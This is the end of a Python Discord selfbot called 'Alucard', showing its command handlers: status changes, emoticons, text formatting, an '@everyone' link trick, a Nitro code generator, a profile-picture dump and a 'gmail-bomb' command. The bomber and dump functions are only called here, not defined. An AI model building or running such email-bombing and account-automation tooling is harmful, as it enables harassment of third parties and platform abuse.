1759 await ctx.message.delete()
1760 url = 'https://alucard-selfbot.github.io/commands'
1761 r = requests.get(url)
1762 if r.status_code == 200:
1763 webbrowser.open(url)
1764 else:
1765 print('Page is currently under maintenance, our team will announce when the page is back online')
1766
1767@Alucard.command()
1768async def stream(ctx, *, message): # b'\xfc'
1769 await ctx.message.delete()
1770 stream = discord.Streaming(
1771 name=message,
1772 url=stream_url,
1773 )
1774 await Alucard.change_presence(activity=stream)
1775
1776@Alucard.command()
1777async def game(ctx, *, message): # b'\xfc'
1778 await ctx.message.delete()
1779 game = discord.Game(
1780 name=message
1781 )
1782 await Alucard.change_presence(activity=game)
1783
1784@Alucard.command()
1785async def listening(ctx, *, message): # b'\xfc'
1786 await ctx.message.delete()
1787 await Alucard.change_presence(
1788 activity=discord.Activity(
1789 type=discord.ActivityType.listening,
1790 name=message,
1791 ))
1792
1793@Alucard.command()
1794async def watching(ctx, *, message): # b'\xfc'
1795 await ctx.message.delete()
1796 await Alucard.change_presence(
1797 activity=discord.Activity(
1798 type=discord.ActivityType.watching,
1799 name=message
1800 ))
1801
1802@Alucard.command(aliases=['markasread', 'ack'])
1803async def read(ctx): # b'\xfc'
1804 await ctx.message.delete()
1805 for guild in Alucard.guilds:
1806 await guild.ack()
1807
1808@Alucard.command()
1809async def reverse(ctx, *, message): # b'\xfc'
1810 await ctx.message.delete()
1811 message = message[::-1]
1812 await ctx.send(message)
1813
1814@Alucard.command()
1815async def shrug(ctx): # b'\xfc'
1816 await ctx.message.delete()
1817 shrug = r'¯\_(ツ)_/¯'
1818 await ctx.send(shrug)
1819
1820@Alucard.command()
1821async def lenny(ctx): # b'\xfc'
1822 await ctx.message.delete()
1823 lenny = '( ͡° ͜ʖ ͡°)'
1824 await ctx.send(lenny)
1825
1826@Alucard.command()
1827async def tableflip(ctx): # b'\xfc'
1828 await ctx.message.delete()
1829 tableflip = '(╯°□°)╯︵ ┻━┻'
1830 await ctx.send(tableflip)
1831
1832@Alucard.command()
1833async def unflip(ctx): # b'\xfc'
1834 await ctx.message.delete()
1835 unflip = '┬─┬ ノ( ゜-゜ノ)'
1836 await ctx.send(unflip)
1837
1838@Alucard.command()
1839async def bold(ctx, *, message): # b'\xfc'
1840 await ctx.message.delete()
1841 await ctx.send('**'+message+'**')
1842
1843@Alucard.command()
1844async def secret(ctx, *, message): # b'\xfc'
1845 await ctx.message.delete()
1846 await ctx.send('||'+message+'||')
1847
1848@Alucard.command(name='role-hexcode', aliases=['rolecolor'])
1849async def _role_hexcode(ctx, *, role: discord.Role): # b'\xfc'
1850 await ctx.message.delete()
1851 await ctx.send(f"{role.name} : {role.color}")
1852
1853@Alucard.command(name='get-hwid', aliases=['hwid', 'gethwid', 'hwidget'])
1854async def _get_hwid(ctx): # b'\xfc'
1855 await ctx.message.delete()
1856 print(f"HWID: {Fore.YELLOW}{hwid}"+Fore.RESET)
1857
1858@Alucard.command()
1859async def empty(ctx): # b'\xfc'
1860 await ctx.message.delete()
1861 await ctx.send(chr(173))
1862
1863@Alucard.command()
1864async def everyone(ctx): # b'\xfc'
1865 await ctx.message.delete()
1866 await ctx.send('https://@everyone@google.com')
1867
1868@Alucard.command()
1869async def logout(ctx): # b'\xfc'
1870 await ctx.message.delete()
1871 await Alucard.logout()
1872
1873@Alucard.command(aliases=['btc-stream', 'streambtc', 'stream-btc', 'btcstatus'])
1874async def btcstream(ctx): # b'\xfc'
1875 await ctx.message.delete()
1876 btc_status.start()
1877
1878@Alucard.command(name='steal-all-pfp', aliases=['steal-all-pfps', 'stealallpfps'])
1879async def _steal_all_pfp(ctx): # b'\xfc'
1880 await ctx.message.delete()
1881 Dump(ctx)
1882
1883@Alucard.command(aliases=['clearconsole', 'consoleclear'])
1884async def cls(ctx): # b'\xfc'
1885 await ctx.message.delete()
1886 Clear()
1887 startprint()
1888
1889@Alucard.command()
1890async def nitro(ctx): # b'\xfc'
1891 await ctx.message.delete()
1892 await ctx.send(Nitro())
1893
1894@Alucard.command(name='gmail-bomb', aliases=['gmail-bomber', 'gmailbomb', 'email-bomber', 'emailbomber'])
1895async def _gmail_bomb(ctx): # b'\xfc'
1896 await ctx.message.delete()
1897 GmailBomber()
1898
1899
1900if __name__ == '__main__':
1901 Init()
1902